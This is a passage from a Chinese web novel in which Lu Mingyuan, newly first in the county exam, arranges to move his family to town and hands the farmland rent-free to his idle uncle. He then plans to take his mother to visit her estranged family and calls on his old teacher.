他将草纸挪开,换上了一张洁白的宣纸,重新蘸满了墨。 笔锋落下,一行行工整隽秀的小楷,便在纸上流淌而出—— “天行健,君子以自强不息。” 灯火摇曳,夜色渐深。 少年伏案的身影,在这一方小小的天地间,显得格外坚定。 县试魁首,只是一个开始。 前方的路,是府试,是院试,是乡试,会试,乃至殿试。 那是一条千军万马过独木桥的崎岖之路,但他,无所畏惧。 他要一步一步地走下去,走出属于自己的路! 次日天色刚蒙蒙亮,东方才露出一抹鱼肚白,院子里便响起了“吱呀”一声轻响。 陆从文已经披衣起身,就着井边清洌的凉水胡乱抹了把脸,便扛起了锄头,准备下地。 族里昨日划拨下来的那十亩水田,是上好的肥田。 如今正是春耕前的紧要关头,得赶紧翻土、施肥,误了农时,一年的收成可就没了指望。 他脚步沉重却坚定,黝黑的脊梁在晨曦中被拉得老长。 隔壁的厢房却静悄悄的,没有半点声响。 陆明渊也早已起身,在院中打了一套不知名的拳法,舒活了筋骨,只觉得浑身暖洋洋的,精神分外清明。 回到房中,他并未温习经义,而是继续研墨练字。 对他而言,掌控力道,磨炼心性,比死记硬背几篇文章更为重要。 直到日上三竿,隔壁厢房的门才“吱呀”一声被推开。 陆从智打着哈欠,睡眼惺忪地走了出来。 他伸了一个大大的懒腰,骨节发出一阵“噼里啪啦”的脆响,脸上满是酒足饭饱后的惬意。 昨日的大事落定,他心头再无忧虑,这一觉睡得格外香甜。 陆明渊恰好写完一幅字,推门而出,准备透透气。 他一眼便看到了院中伸着懒腰的三叔。 那副悠闲自得的模样,与清晨父亲扛着锄头离去的背影,形成了无比鲜明的对比。 一抹淡淡的厌恶之色自他眼底一闪而过,快得无人察觉。 烂泥扶不上墙。 族里给了十亩水田,如此天大的机缘,不想着如何辛勤耕种,让家人过上好日子,反倒心安理得地睡到日上三竿。 这样的人,就算把金山银山堆在他面前,怕是也守不住。 陆明渊心中愈发坚定了自己的某个想法,他默不作声地收回目光,转身回了房。 晌午时分,陆从文才从田里回来。 他整个人像是从泥水里捞出来的一般,裤腿上沾满了湿泥,汗水浸透了粗布短衫,紧紧地贴在身上。 他的肩膀处,衣衫已经被磨破了,露出被锄头柄磨得通红的皮肤,甚至渗出了一丝丝血迹。 王氏端着一盆水出来,看到丈夫这副模样,眼圈“唰”地一下就红了。 她心疼地接过丈夫手里的锄头,声音里带着压抑不住的火气。 “你这是做什么!不要命了!那的是帮明文读书的,你一个人去做什么牛马?早上出门怎么不叫上他一起?” “现在倒好,你这个做大伯得在田里累死累活,他那个当亲爹的倒在家里睡大觉,天底下哪有这样的道理!” 陆从文咧开嘴,露出一个憨厚的笑容,满是泥垢的脸上,牙齿显得格外白。 “没事,没事。从智昨日又是下跪又是磕头的,怕是也累着了,让他多歇歇。” “再说了,地里的活儿也不多,我一个人忙得过来。” 王氏气得直跺脚,却又拿自己这个老实巴交的丈夫毫无办法,只能一边拧着毛巾给他擦脸,一边不住地小声埋怨着。 午饭时分,一家人总算聚齐了。 老太太陈氏格外高兴,家里的两个读书种子都在,她特意将家里养了许久、一直舍不得吃的一只老母鸡给杀了,炖了一大锅香喷喷的鸡汤。 浓郁的肉香飘满了整个堂屋,让平日里难得见荤腥的陆明文和陆明泽两个小家伙,口水都快流出来了。 饭桌上,气氛很是热烈。 陆从智一改昨日的颓丧,显得格外兴奋,话也多了起来。 他殷勤地端起酒碗,敬了大哥一杯,又说了许多感激的话。 而后,他用筷子夹起一只油光锃亮的大鸡腿,满脸堆笑地放进了陆明渊的碗里。 “渊儿,来,吃个鸡腿!这次多亏了你,不然你明文弟弟的前程可就……三叔敬你!” 陆明渊神色平静,淡淡地点了点头,道了声谢。 紧接着,陆从智的筷子又伸向了锅里。 他以迅雷不及掩耳之势,将另一只鸡腿和一只肥硕的鸡翅膀,一股脑地全夹进了自己儿子陆明文的碗里。 “明文,快吃,多吃点!读书最是耗费心神,得好好补补!” 一锅鸡,总共就两条腿。 他这一下,就给自己父子俩占了一大半的好处。 坐在对面的陆从文见了,只是憨厚地笑了笑,没说什么,低头喝着自己的粥。 王氏的脸上则闪过一丝不快,但碍于老太太在场,也不好发作。 陆明渊将这一切尽收眼底,心中无奈地轻轻摇了摇头。 江山易改,本性难移。 三叔这种刻在骨子里的精明与算计,怕是一辈子都改不掉了。 不过,他也没有当场点破。 一家人难得这样其乐融融地聚在一起吃饭,没必要为了一只鸡腿伤了和气。 有些事情,得用更妥善的法子,从根子上解决。 他默默地将自己碗里的鸡腿夹给了身旁的弟弟陆明泽。 小家伙顿时眉开眼笑,抱着比自己拳头还大的鸡腿,啃得满嘴是油。 一顿饭,在略显微妙的气氛中吃完了。 陆从智一家吃得心满意足,抹了抹嘴,便准备告辞回家。 “大哥,大嫂,娘,那我们就先回去了。地里的事,就……就多劳烦大哥了。” 陆从智有些不好意思地说道。 “嗯,去吧。” 陆从文摆了摆手,浑不在意。 就在陆从智拉着陆明文,即将迈出堂屋门槛的那一刻,一个清朗而沉稳的声音忽然响起。 “三叔,且慢。” 说话的,正是从头到尾都表现得十分安静的陆明渊。 众人皆是一愣,齐刷刷地将目光投向了他。 陆明渊缓缓站起身,他的身形尚显单薄,但此刻站得笔直。 他先是对着陆从文和王氏微微躬身,然后才转向陆从智,不疾不徐地开口说道。 “三叔,侄儿有一事,想与您和爹娘商议。” 陆从智停下脚步,有些疑惑地看着这个侄子,心中暗自嘀咕,不知他又有什么主意。 只听陆明渊继续说道。 “如今,我与明文堂弟都侥幸考中了县试,不日便要去县里的府学就读。” “府学规矩严,课业重,若每日往返于村子和县城之间,不仅路途遥远,耗费精力,也必定会耽误学业。” 众人闻言,皆是点头。 陆家村离县城足有二十里地,靠两条腿走,一个来回就得两个多时辰,确实不便。 陆明渊话锋一转,抛出了一个让所有人都始料未及的决定。 “我打算,带着爹、娘还有明泽,搬到县城里去住。” “什么?!” 此言一出,满座皆惊。 最先反应过来的是王氏,她急忙道。 “渊儿,你说什么胡话!咱们家哪来的钱去县城住?县城的开销多大,你知不知道?租个房子都得花不少钱!” 陆从文也皱起了眉头,显然也觉得儿子的想法太过异想天开。 陆从智和陆明文父子俩更是面面相觑,完全没搞懂陆明渊葫芦里卖的什么药。 陆明渊抬手,示意母亲稍安勿躁,脸上依旧是那副平静无波的神情。 “娘,您先别急。我不是说租房子,而是买一套。” 第055章 我们家,一文钱的租子都不要 “买?” 王氏的声音都变了调,“咱们家……咱们家把所有东西都卖了,也凑不够在县城买房的钱啊!” 陆明渊微微一笑,胸有成竹地说道。 “钱的事情,儿子自有办法解决,这个无需爹娘操心。” “我今日想与三叔商议的,是咱们搬走之后,家里的这些田产和祖宅。” 他的目光转向了已经完全愣住的陆从智。 “三叔,我们一家搬去县城后,这老宅子就空了下来。还有,族里新分给咱们家的那十亩水田,离得远,我们也没法照料。” 陆明渊顿了顿,一字一句,清晰地说道。 “我的意思是,这宅子,还有那十亩水田,就全权交给三叔您来打理。” “宅子你们一家可以搬过来住,宽敞些。至于那十亩水田,我们家也不收您的租子,就当是……给明文堂弟读书的束脩了。” 话音落下,整个堂屋陷入了一片死寂。 落针可闻。 陆从智呆呆地站在原地,嘴巴微张,眼睛瞪得像铜铃,仿佛听到了什么天方夜谭。 免租金? 把那十亩上好的水田,白白给他种? 按照今年的收成来看,十亩水田,除去赋税,一年下来少说也能落下二十多两银子的纯利! 这笔钱,别说明文一年的束脩,就连他们一家三口的嚼用都绰绰有余了! 这……这简直是天上掉馅饼的好事! 他下意识地看向自己的大哥陆从文,却发现大哥和嫂子也是一脸震惊地看着陆明渊,显然对此事也毫不知情。 死寂之中,最先打破沉默的,是陆从智。 他的脸色先是涨红,随即转为一种混杂着嫉妒与恼怒的铁青。 “呵,呵呵……”他干笑两声,声音尖厉。 “我说呢,原来是这么回事!明渊啊,你可真是出息了!” “中了县试魁首,就瞧不上咱们这乡下泥腿子了?就想着撇下我们这些穷亲戚,自个儿到县城里享福去了?” 他猛地一拍大腿,声音陡然拔高。 “我算是看明白了!你这是嫌弃我们,嫌弃这个家,嫌弃生你养你的陆家村!” “族里那些叔伯长辈还想着凑钱供你读书,我看呐,真是供出个白眼狼来了!” “这钱,还不如全给了我们家明文!至少明文懂得孝顺,不会一朝得势,就忘了本!” 这一番话,如同一盆脏水,劈头盖脸地就泼了过来。 老太太陈氏,听到“白眼狼”、“忘了本”这几个字,脸色瞬间就沉了下去。 她那张布满皱纹的脸紧紧绷着,浑浊的眼中闪烁着失望与怒火。 在老一辈人看来,分家、搬离祖宅,几乎等同于背叛。 “明渊!” 老太太手中的拐杖重重地在青石板上顿了一下,发出“笃”的一声闷响,让所有人的心都跟着一颤。 “你三叔说的是不是真的?你到底想干什么!翅膀硬了,就想飞出这个家了是不是?” “你眼里还有没有我这个祖母!还有没有列祖列宗!” 老太太的声音虽然苍老,却中气十足,带着不容置疑的威严。 王氏一听这话,顿时急了。 她知道自己这个婆婆最是看重香火传承和家族脸面,陆明渊这番话,算是捅了马蜂窝了。 她刚想开口替儿子辩解几句,却被陆明渊一个安抚的眼神制止了。 面对三叔的无端指责和祖母的严厉训斥,陆明渊脸上没有丝毫慌乱,依旧是那副古井无波的沉静模样。 他先是恭恭敬敬地对着老太太陈氏深施一礼,而后才缓缓直起身。 “祖母,三叔,你们误会了。” 他的声音清朗而沉稳,自有一股安抚人心的力量。 “孙儿绝无半分嫌弃家里、嫌弃长辈的意思。之所以想搬去县城,实乃是为学业计。” 他顿了顿,条理分明地解释道。 “府学治学严谨,课业繁重,每日天不亮便要开课,直至日落方休。” “咱们村离县城足有二十里地,若每日往返,天没亮就得动身,摸着黑才能到家,路上奔波就要耗费两个多时辰。” “如此一来,哪还有时间温习功课、精研学问?长此以往,学业必定荒废。” “再者,” 他的目光转向陆从智和陆明文。 “当初明文哥在县城私塾求学,不也是住在县里的姑母家中吗?为何明文哥可以,到了我这里,就成了‘忘了本’、‘嫌弃穷亲戚’了?” 陆从智被他这一问,顿时噎住了,一张脸憋得通红,却说不出一句反驳的话来。 陆明渊没有理会他,继续说道。 “当初为了明文哥的学业,家里每年拿出束脩,爹娘从未多说过半个字。” “如今我也侥幸考中,要去县里读书,为的同样是陆家的门楣,同样是为了将来能光宗耀祖。这难道不是理所应当的事情吗?” 一番话,说得有理有据,合情合理。 老太太陈氏脸上的怒气也消减了几分,但依旧带着疑虑。 “就算要去县城读书,那也用不着拖家带口地搬过去!在县里租个小院子,让你娘去照顾你不就行了?” “何必要买房?还要把你爹也带上?家里的地不要了?祖宗的牌位不要了?” “祖母问得好。” 陆明渊微微一笑,终于抛出了自己的底牌。 “租房终究是寄人篱下,开销也不小,长久下来并非良策。至于买房的钱……” 他看向自己的父母,眼中带着一丝歉意。 “此事儿子之前未曾与爹娘商议,是儿子不对。” “其实,前些时日,儿子闲暇时写了些有趣的话本故事,托人卖给了县里的书坊,侥幸赚了五十多两银子。” “什么?五十多两?” 这一次,惊呼声比刚才更甚。 王氏捂住了嘴,眼睛瞪得溜圆,几乎不敢相信自己的耳朵。陆从文更是惊得手里的旱烟杆都差点掉在地上。 五十多两银子! 他们一年到头,连五两银子都攒不下来! 陆明渊现在直接赚了五十两银子? 陆从智父子俩更是目瞪口呆,他们怎么也想不通。 写几个故事就能挣这么多钱?这简直比抢钱还快! 陆明渊没有理会众人的震惊。 “这笔钱,在县城里买个好地段的大宅院自然是不够的,但若是在偏一些的巷子里,买个带小院的两居室,却是刚刚够用。” “我想着,我与明泽都要读书,娘一个人在县城照顾我们,未免太过辛劳。” “若是爹也一起过去,既能帮衬着娘,也能在县城里寻些短工补贴家用,总好过一个人在乡下辛苦刨食。一家人在一起,也好有个照应。” “至于家里的田地和祖宅,” 他的目光最后落在了陆从智身上。 “这正是我今日要与三叔商议的重点。” “咱们家原先有薄田五亩,旱地五亩。昨日族里又分了十亩上好的水田,加起来,一共是二十亩地。” “这些田地,都是咱们自家的,不用像佃户那样给东家交租子,只需按朝廷规矩缴纳赋税即可。” “我算过一笔账。这二十亩地,只要三叔您能勤谨耕种,风调雨顺的话,一年下来,刨去赋税和各项开支,纯利至少在三十两银子以上!” “三十两!” 陆从智的心脏猛地一抽。 他自己就是个庄稼汉,这笔账他心里比谁都清楚。 陆明渊算得只少不多! “我们一家搬去县城,这些田地自然无暇打理。” “我的意思是,这二十亩地,就全权交给三叔您来耕种,所有的收成,也都归三叔您家。” “我们家,一文钱的租子都不要。” “有了这笔收入,明文哥一年的束脩、笔墨纸砚的开销,不就全都有了着落?” “甚至还能有不少富余,足够三叔、三婶和明文哥过上宽裕日子。” “等到我和明文哥读完了书,父亲再搬回祖宅,和三叔一家” “如此一来,我能在县城安心求学,明文哥也能无后顾之忧地继续读书。” “这本是两全其美,皆大欢喜的好事。” “侄儿实在想不明白,这样既解决了明文哥的束脩难题。” “还能让三叔一家生活宽裕,还不必让爹娘为我的学费发愁的好事,三叔……为何要反对呢?” 第056章 这,就是分家的前兆 “侄儿实在想不明白,这样既解决了明文堂弟的束脩难题,又能让三叔一家生活宽裕,还不必让爹娘为我的学费发愁的好事,三叔……为何要反对呢?” 话音落下,堂屋里再次陷入了一片死寂,唯有窗外几声零落的虫鸣,反衬得屋内愈发安静。 所有人的目光都聚焦在陆从智那张青一阵白一阵的脸上。 老太太陈氏那双浑浊的老眼,此刻却前所未有的明亮。 二十亩地,全给老三家种,一文钱租子不要! 这可不是小数目。 有了这笔进项,明文的学业就稳了。 而明渊呢,他自己中了魁首,族里本就要出钱供养,再加上他自己能写话本挣钱,学费更是不愁。 至于大儿子一家,搬去县城,从文也能找个活计,总比在村里刨地强。 这么一算,两个孙子都有了前程,大儿子一家有了新的生路,老三一家也得了天大的实惠。 这……这简直是把一盘死棋给彻底盘活了! 陆家,或许真要在他手里兴旺起来了! 想到此处,老太太心中那点因为“分家”、“搬离”而起的不快,早已烟消云散,取而代之的是对未来的无限期许。 而陆从智,此刻的感受却截然不同。 他只觉得一口气堵在胸口,上不来也下不去,整张脸都憋成了猪肝色。 陆明渊的计划听起来天衣无缝,皆大欢喜,可这跟他原先的算盘,却是南辕北辙! 他的如意算盘是,陆从文一家留在村里,当牛做马地伺候着那二十亩地。 他自己则带着儿子在镇上或者县里,美其名曰“督促学业”,实际上就是坐享其成。 等着陆从文把地里刨出来的血汗钱一分不少地交上来,供他们父子俩挥霍。 可现在呢? 陆明渊三言两语,就把“种地”这桩苦差事,明明白白地扣在了他的头上! 让他去种地? 风吹日晒,一身臭汗,累死累活一年到头才挣那么点辛苦钱? 他陆从智是那样的人吗? 他早就过惯了游手好闲、投机取巧的日子,让他下地,那还不如要了他的命! 他刚想张口拒绝,编个什么理由搪塞过去,却见陆明渊的目光淡淡地扫了过来。 只听陆明渊不紧不慢地又开口。 “三叔莫不是觉得,这二十亩地,理应由我爹来种,然后将收成尽数交予三叔,供养明文堂弟读书?” “难道三叔是想自己安坐家中享清福,却让我父亲一人承担两家的辛劳?” “我想,三叔为人一向公允,应该不会有这般想法吧?祖母,您觉得呢?” 这番话揭穿了陆从智最后一块遮羞布。 “你!” 陆从智气得浑身发抖,手指着陆明渊,却一个字也说不出来。 “混账东西!” 老太太陈氏手中的拐杖猛地一顿地,发出一声沉闷的巨响。 这一次,她骂的却不是陆明渊,而是自己的小儿子陆从智。 “明渊说得哪里不对?” 老太太声色俱厉,浑浊的眼中射出两道冷电。 “老大一家都要搬去县城了,家里的二十亩地,明渊一分租子都不要,全给你家,这天大的好事你还有什么不满意的?” “怎么?你还真想让你大哥一个人种地,养活你们两家人不成?陆从智,你的脸皮是铁打的吗!” 老太太是真的动了怒。 她最看重的就是家族兴旺,陆明渊为陆家画出了这么好一幅蓝图。 陆从智却只想着自己的那点私利,这让她如何能忍? “我……我没有……” 陆从智被骂得狗血淋头,气焰顿时矮了下去。 他知道,在这个家里,老太太就是天。 一旦老太太站到了陆明渊那边,他就再无翻盘的可能。 “我……我只是……只是觉得这太麻烦大哥大嫂了……” 他结结巴巴地辩解着,声音却越来越小,连他自己都觉得这话说出来毫无底气。 “哼!知道麻烦就好!” 老太太冷哼一声,不容置疑地说道。 “这事就这么定了!从文一家搬去县城,家里的二十亩地,全交给你来打理!收成也全归你!你要是敢偷懒耍滑,看我不打断你的腿!” 见老太太发了话,陆从智哪里还敢再有异议。 他挤出一个比哭还难看的笑容,连连点头哈腰道。 “娘说的是,娘说的是。我……我听娘的。” “多谢大哥大嫂,多谢明渊……我……我一定会好好种地的,一定不辜负你们的期望!” 陆明渊朝着老太太和陆从智又行了一礼,便转身回了自己的厢房。 …… 厢房内,一灯如豆。 陆明渊刚坐下没多久,房门便被轻轻推开。 陆从文和王氏一前一后地走了进来,脸上还带着几分未曾消散的震惊与疑惑。 “吱呀”一声,陆从文反手将房门关紧,还插上了门栓。 昏黄的灯光下,这位一向沉默寡言的汉子,此刻的脸色却异常凝重。 他走到桌边,一双布满老茧的大手按在桌沿上,目光紧紧地盯着自己的儿子。 王氏则站在一旁,欲言又止,眼神里充满了担忧。 今天发生的事情,对她的冲击实在太大了。 儿子又是中魁首,又是挣大钱,又是三言两语就将那个难缠的小叔子治得服服帖帖。 这一切都让她觉得有些不真实,仿佛在做梦一般。 “明渊,” 陆从文的声音有些沙哑,他盯着儿子,一字一顿地问道。 “你跟爹说句实话,你今天闹这么一出,究竟是想做什么?难不成……你是真的想要分家?” “分家”二字,他说得极轻,却仿佛有千斤之重。 在这个时代,分家对于一个家族而言,是一等一的大事。 不到万不得已,兄弟是不会分家的。 陆从文虽然老实,却不傻。 儿子今天的所作所为,表面上是为了去县城读书,但每一步的安排,都像是在割裂与老宅、与三弟一家的联系。 这,就是分家的前兆。 面对父亲凝重的目光,陆明渊没有丝毫躲闪。 他缓缓站起身,平静地迎着父亲的视线,清澈的眼眸在灯火下熠熠生辉。 他没有否认,也没有辩解,只是轻轻地点了点头。 “是。” 一个字,干脆利落。 王氏闻言,身子一晃,险些站立不稳。 陆从文的身体也猛地一震。 “为什么?” 他艰涩地问道。 陆明渊的脸上露出一丝与年龄不符的沉稳与沧桑。 他看着自己这位老实巴交、一辈子任劳任怨的父亲,轻声反问道: “父亲,我们这个家,早就应该分了。” 他的声音很轻,却带着一种不容置疑的力量。 “这些年,我们家过的是什么日子,您和娘心里不清楚吗?” “您终日劳作,娘省吃俭用,一年到头,可曾攒下过一两银子?” “我们挣的每一文钱,刨去嚼用,最后都流到了哪里去?” “三叔一家,三叔游手好闲,三婶尖酸刻薄,明文堂弟更是被他们惯得眼高手低。” “他们就像是附在我们家身上的一条条水蛭,无时无刻不在吸我们的血!” “现在的我中了县试魁首,族里看重,前途有望。并且我也能自己挣到钱,不用再需要看任何人的脸色!” “难道” 他看着自己的父亲,声音陡然拔高了几分。 “您还想让三叔一家,继续趴在您身上吸血,把您最后一丝精力都榨干吗?!” “十亩水田,只是免了他们的租金,又不是送给了三叔一家!” “外人也说不得我们分家!” 第057章 这便是他最大的底气 “外人也说不得我们分家!” 陆从文粗重地喘息着,胸膛剧烈起伏,仿佛那番话耗尽了他半生的力气。 分家。 这两个字,像两座沉甸甸的山,压在每一个庄户人家的心头。 可当儿子陆明渊将这两座山搬开,陆从文却发现,自己长久以来习惯的重负,或许本就不该由他一人来扛。 只是…… “家里的那些东西……” 他喃喃自语,声音干涩,目光不由自主地飘向窗外。 看到院子里的犁耙,墙角的锄头,还有那头已经养了五年的老黄牛。 “田里的活计马上就要忙起来了,那些农具,还有……” 他没说下去,但陆明渊懂了。 父亲舍不得的,不只是那些坛坛罐罐,更是他赖以为生的根,是一种早已融入骨血的生活方式。 让他骤然离开,就像将一棵老树连根拔起,纵然是移植到更肥沃的土壤,也难免会伤筋动骨。 陆明渊没有强求。 他知道,有些观念的转变,需要时间来冲刷。 他只是静静地看着父亲,目光温和而坚定,说道。 “父亲,我明白。如果您不想这么快动身,可以等忙完手里的农活,把家里的事情都安顿妥当了,再来县城不迟。” 他顿了顿,话锋一转,语气却变得不容商榷。 “但是,母亲必须跟我跟明泽一起先去县城。我在那边置办的院子不小,总要有人收拾打理。” “我和明泽都要读书,身边不能没人照顾。” 这番话说得合情合理,是为人子的本分考量。 然而,在昏黄的灯火之下,陆明渊清亮的眼眸深处,藏着另一层更深沉的思量。 他怎么会不明白,留在村里,就意味着无休止的劳作。 母亲那双本该是柔软的手,早已被针线、灶火和猪草磨出了厚厚的茧子。 她的腰,也因为常年的弯腰劳作而过早地佝偻。 自己如今既然有了些许能力,又怎能忍心看着母亲继续在这座破旧的老宅里,耗尽最后一点心血和元气? 去县城,不是为了让母亲去照顾他们兄弟,而是为了换一个地方,让母亲能够被照顾,能够歇一歇,能够真正地过几天舒心日子。 这份心思,他不必说出口,但他相信,总有一天,父母会明白。 陆从文沉默了。 他看着儿子,这个不久前还只是个埋头苦读的少年,如今却已经能条理分明地安排好一家人的前路。 那份从容与担当,让他这个做父亲的,心中既是酸涩,又是无比的骄傲。 他还能说什么呢? 儿子能飞得更高,看得更远。 他这个老父亲,若是再用自己的陈旧观念去束缚他,那便是拖累了。 “好。” 许久,陆从文喉结滚动,重重地点了点头。 “就按你说的办。我……我把地里的事弄完,就去县城找你们。” 他没有再多言,只是深深地看了儿子一眼。 然后,他转过身,佝偻的背影在门“吱呀”一声的开合中,消失在微凉的夜色里。 从始至终,王氏都静静地站在一旁。 她的目光在丈夫和儿子之间流转,没有插一句话。 直到陆从文离开,她才轻轻地叹了口气,眼眶有些泛红。 她不像丈夫那般有故土难离的执念,她的一生,所有的念想都系在丈夫和两个儿子身上。 他们在哪,她的家就在哪。 更何况,这个儿子,不知不觉间,已经给了她太多的惊喜,甚至是惊吓。 赚够了在县城买一套房子的银钱,这是她过去连做梦都不敢想的事情。 对于这样一个已经能为全家遮风挡雨的儿子,她这个做母亲的,除了全然的信任与支持,还能多说什么呢? 听他的,准没错。 她抬起手,想去收拾桌上的碗筷,却被陆明渊叫住了。 “娘。” 王氏回过头,只见儿子不知何时已经走到了门边,将刚刚被丈夫带开的房门,重新关上。 陆明渊甚至还伸手,将那根老旧的木门栓,轻轻地插进了门扣里。 “咔哒”一声轻响,隔绝了屋外所有的声音。 厢房内,只剩下母子二人,和一豆如萤的灯火。 陆明渊转过身,神情是前所未有的郑重。 他走到母亲面前,看着母亲那张被岁月侵蚀却依旧温柔的脸,看着她鬓边早生的华发,心中涌起一阵酸楚。 他深吸一口气,缓缓开口说道。 “娘,等到了县城安顿下来,我想……我想和您一起,回一趟外祖家,去看看外祖父和舅舅他们。” 话音落下,屋子里静得能听到针尖落地的声音。 王氏整个人都僵住了,她手里的抹布“啪”的一声掉在地上。 她怔怔地看着陆明渊,眼神从最初的茫然,到难以置信,再到剧烈的颤动。 回娘家? 这三个字,对她而言,是多么遥远而又奢侈的念想。 自打嫁入陆家,十数年来,从未回去过一次。 路途遥远,家中贫困,再加上小叔子一家时不时的刁难,她连回家的盘缠都凑不齐。 年复一年,思念只能在深夜里悄悄咀嚼,化作无声的泪水,浸湿枕巾。 她甚至不敢去想,年迈的父亲身体是否还康健,兄弟们的日子过得是否顺遂。 她以为,这辈子,或许只有在弥留之际,才能魂归故里了。 可现在,她的儿子,她引以为傲的儿子,却亲口对她说,要带她回去看看。 一股巨大的热流猛地从心底涌起,瞬间冲垮了她十几年来用隐忍和辛劳筑起的堤坝。 她的视线开始模糊,眼前儿子的面容在摇曳的灯火下,变得朦胧不清。 “你……你……” 王氏的嘴唇哆嗦着,喉咙里像是堵了一团棉花,发不出完整的声音。 泪水终于决堤。 大颗大颗滚烫的泪珠,顺着她脸上的皱纹滑落,砸在粗布的衣襟上,洇开一团团深色的痕迹。 她看着陆明渊,用尽全身的力气,才从喉咙里挤出几个破碎的音节。 “渊儿……你……你方才……说的是什么?” “你……再说一遍……” 陆明渊没有再说一遍,而是上前一步,伸出手,轻轻握住母亲的手。 “娘,” “儿子如今中了县试案首,在县城也能置办一套房产,有了些许薄名。咱们家,算是挺直了腰杆。” “这些年,您为了这个家,为了我和明泽,受了太多委屈,吃了太多苦,儿子都看在眼里,记在心里。” 他扶着母亲,让她在床沿边坐下,自己则半蹲在她面前,仰头望着她。 这个姿势,让他看起来依旧是个需要母亲抚慰的孩子,但说出的话,却是一个家的顶梁柱。 “如今儿子出息了,就该让您也扬眉吐气。” “回外祖家,不是去求恳,不是去诉苦,而是堂堂正正地回去。” “告诉外祖父和舅舅们,他们的女儿、他们的姐妹,没有嫁错人,她的儿子,有出息,能让她过上好日子了。” 王氏怔怔地看着儿子,看着他清亮眼眸中倒映出的自己。 是啊,儿子出息了。 这不再是梦,而是真真切切发生的事。 陆明渊的信心并非凭空而来。 他有远超这个时代的见识,有那过目不忘的本事。 这世间的经义文章,于他而言,不过是印在脑海中的书库,只需稍加梳理,便能自成华章。 他不敢说未来一定能大魁天下,高中状元,但一个举人,乃至一个进士的功名,在他看来,已是十拿九稳的囊中之物。 而根据父亲零星的描述,母亲的娘家王家,在县里也算是一户殷实人家,虽非官宦世族,却也是耕读传家的体面门户。 这样一个家族,或许看不上一个穷困潦倒的农家女婿,但绝对无法忽视一位未来的举人老爷,一位前途无量的进士门生。 这便是他最大的底气。 第058章 真正踏上了青云路 “好孩子……我的渊儿……” 王氏再也抑制不住,积压了十几年的委屈、思念与辛酸,在这一刻尽数化作汹涌的泪水。 她反手紧紧抓住儿子的手,想起了当年。 她不顾父亲的反对,执意要嫁给那个一穷二白,却有一股子读书人清正之气的陆从文。 陆家拿出的聘礼,只有区区五两银子,在村里都算寒酸。 可父亲,那个平日里最是严厉古板的父亲,却在送她出嫁时,红着眼眶,将足足价值一百多两银子的田契、布匹、家什塞进了她的嫁妆担子里。 父亲是气她,也是疼她。 这些年,她不是没有想过回去。 哥哥时常托人捎来信件,字里行间都是劝慰,让她回家去,给父亲低个头,认个错,父女哪有隔夜的仇。 可她过的是什么日子? 丈夫老实本分,却挣不来几个大钱,家中还有个搅风搅雨的弟媳,日子过得捉襟见肘,连一件体面的衣服都拿不出来。 她怎么有脸回去? 她怕看到的,是父亲失望的眼神,是妯娌们同情中夹杂的轻视。 骨子里,终究是那个倔强的王家女儿。 她一直在等,等一个能让她挺直腰杆回去的日子。 她以为要等到头发全白,等到牙齿掉光,甚至等到入土为安。 却没想到,这一天,来得这么快,这么突然。 “渊儿……你真的长大了……真的出息了……” 王氏的哭声从压抑的抽泣,变成了畅快淋漓的宣泄,仿佛要将十多年的压抑都哭的一干二净。 许久,她才渐渐平复下来,用袖子擦干眼泪。 ““好,就听你的。等……等过了年,咱们就回去!让你外祖父,也好好瞧瞧他的好外孙!” “你……也该去认认门,给你外祖父和舅舅们磕个头了。” “嗯。” 陆明渊重重点头。 他知道,母亲需要一些时间来准备,无论是心理上,还是物质上。 如今已是深秋,距离年关,尚有不足三月,时间充裕。 这件事,不急。 …… 将家中的大事一一敲定,陆明渊的心也彻底安稳下来。 次日,他将提前在县城铺子里精心挑选的文房四宝用油纸包好。 又让母亲装了一小篮自家晒的干菜和几个鸡蛋,这才整理好衣冠,朝着村东头的赵先生家走去。 他能有今日,启蒙的赵先生功不可没,于情于理,都该来登门拜谢。 赵先生的家,也是村里的学堂。 一座半旧的青砖瓦房,院子里种着一棵老槐树,秋风扫过,满地金黄。 琅琅的读书声从窗棂间传出,带着一股子独特的、属于书墨的安宁气息。 陆明渊还未走到门口,院内便有眼尖的学童看到了他。 “是明渊哥!” “陆明渊回来了!” 一声呼喊,像是点燃了引线。 “轰”的一声,原本安静的课堂炸开了锅。 十几个半大的孩子从屋里涌了出来,将陆明渊团团围住,一张张小脸上写满了兴奋与崇拜。 “状元郎!状元郎来了!” “我娘说了,明渊哥是咱们清溪县的文曲星下凡!” “状元郎,你考状元难不难啊?” “状元郎……” 一声声“状元郎”的呼喊,稚嫩而真诚,却说得陆明渊面皮发烫,颇有些不好意思。 他连忙摆手,哭笑不得地解释道。 “莫要胡说,我只是侥幸中了县试案首,距离状元还差着十万八千里呢!” 他的解释在孩子们的兴奋面前显得有些无力。 在这些乡村学童朴素的认知里,县试第一,那便是天底下最了不起的学问了,不是状元郎又是什么? 就在这片喧闹中,屋里传来一声中气十足的咳嗽。 “咳咳!” 声音不高,却仿佛带着一股无形的威严。 方才还像一群麻雀般叽叽喳喳的孩子们瞬间噤声。 一个个缩着脖子,畏惧地看了一眼屋内,然后迅速地向两边退开,给陆明渊让出了一条通往正屋的道路。 整个院子,刹那间安静得只剩下风吹槐叶的沙沙声。 这个时候,一个苍老却沉稳的声音从屋内传出,不带什么情绪,却字字清晰。 “明渊,进来。” 陆明渊深吸一口气,整理了一下有些凌乱的衣衫,对着让路的孩子们善意地点了点头,然后迈步踏上了台阶。 屋内的光线比外面暗上一些,空气中弥漫着一股淡淡的墨香和旧书卷的味道。 正堂之上,一位身穿半旧儒衫、须发花白的老者,正端坐于太师椅上。 他面容清癯,眼神锐利,虽是乡野村儒,身上却自有一股严谨方正的气度。 正是他的启蒙恩师,赵循,赵先生。 陆明渊不敢怠慢,上前几步,将手里的礼物轻轻放在一旁的桌上,然后撩起衣袍,郑重其事地跪了下去,行了一个结结实实的大礼。 “学生陆明渊,拜见先生。” 赵先生没有立刻叫他起来,只是静静地看着他,目光如炬,仿佛要将他从里到外看个通透。 良久,他才缓缓开口,语气依旧平淡。 “外面的‘状元郎’,叫得好不热闹。怎么,这才刚进县学的门,心就浮了?” 这话语中,带着一丝不易察觉的考校与敲打。 陆明渊伏在地上,头也不抬,沉声回道。 “学生不敢。浮名于我,不过是过眼云烟。学生深知,学海无涯,县试案首,不过踏入科举的第一步。” “往后的府试、院试、乡试、会试、殿试,一关更比一关难,学生不敢有丝毫懈怠之心。” 他的回答不卑不亢,既表明了心志,也点出了前路的艰难。 赵先生听完,眼神中那丝锐利才渐渐缓和下来,取而代之的,是一抹难以掩饰的欣慰与骄傲。 他抚了抚花白的胡须,点了点头。 “起来吧。” 